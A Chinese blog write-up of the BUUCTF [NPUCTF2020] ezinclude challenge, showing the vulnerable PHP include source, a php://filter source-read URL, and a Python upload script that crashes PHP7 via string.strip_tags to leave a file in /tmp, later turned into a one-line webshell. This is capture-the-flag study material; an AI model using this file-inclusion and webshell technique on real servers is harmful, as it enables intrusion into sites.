BUUCTF:[NPUCTF2020]ezinclude -- md5拓展攻击?? --- 文件包含 --- php7 漏洞 ----python上传文件

一、自己做:

0入门,,连接:https://buuoj.cn/challenges#[NPUCTF2020]ezinclude

二、不足:

  1. 看到刚开始的提示就蒙了,没有想到传参这么简单
  2. 看到了include,文件包含的漏洞,第一时间没有想到用php的伪协议去读取文件,,,除了filter等等,zip也可以上传木马的呀,这个别忘了,,,
  3. 这个PHP7的版本漏洞。会崩溃,然后再tmp下有文件
  4. 学习了python上传文件

三、 学习WP:

看到这个,

在这里插入图片描述
像md5拓展攻击,然后抓包看一下,

在这里插入图片描述
一看,name和pass都有了。那么一提交就好了嘛。

在这里插入图片描述
然后抓包看到了,
在这里插入图片描述之后会定向到404. .。我们就在这里操作,然后就是新知识了。

这里应该第一时间想到是去伪协议读取一下源码 的。

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

如下:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    
    
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

新知识!!!string.strip_tags

看wp,可以利用php://filter/string.strip_tags导致php崩溃,同时可上传文件保存在/tmp目录来上传木马.

漏洞解析

这个python脚本是我之前上传 .htaccess的图片吗用的,二进制方法上传就是了。
python上传文件可见这里【附件】PHP代码文件文件上传 +++++ python脚本上传文件

import requests
url ="http://27d93842-80f6-42e6-aaf1-f27b6b8c3fe2.node3.buuoj.cn/flflflflag.php?" \
     "file=php://filter/string.strip_tags/resource=/etc/passwd"
payload = b"<?php phpinfo(); ?>"

file = [('file',("hack.jpg",payload,"image/jpeg"))]
res = requests.post(url=url,files=file)
print(res.text)

然后就是我们去爆破文件名称了,但是 这个题又有dir.php可供我们使用
在这里插入图片描述
这里,直接访问,看不到,因为我们写的是<?phpsdfsfd?>当然看不到了,后端语言,
然后用php为协议访问,就看到了。
在这里插入图片描述这里,我直接写phpinfo没反应,

然后就改成了 一句话了,

然后访问,

在这里插入图片描述

参考自:https://a16n.github.io/2020/11/06/NPUCTF2020-ezinclude/

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/115271448
今日推荐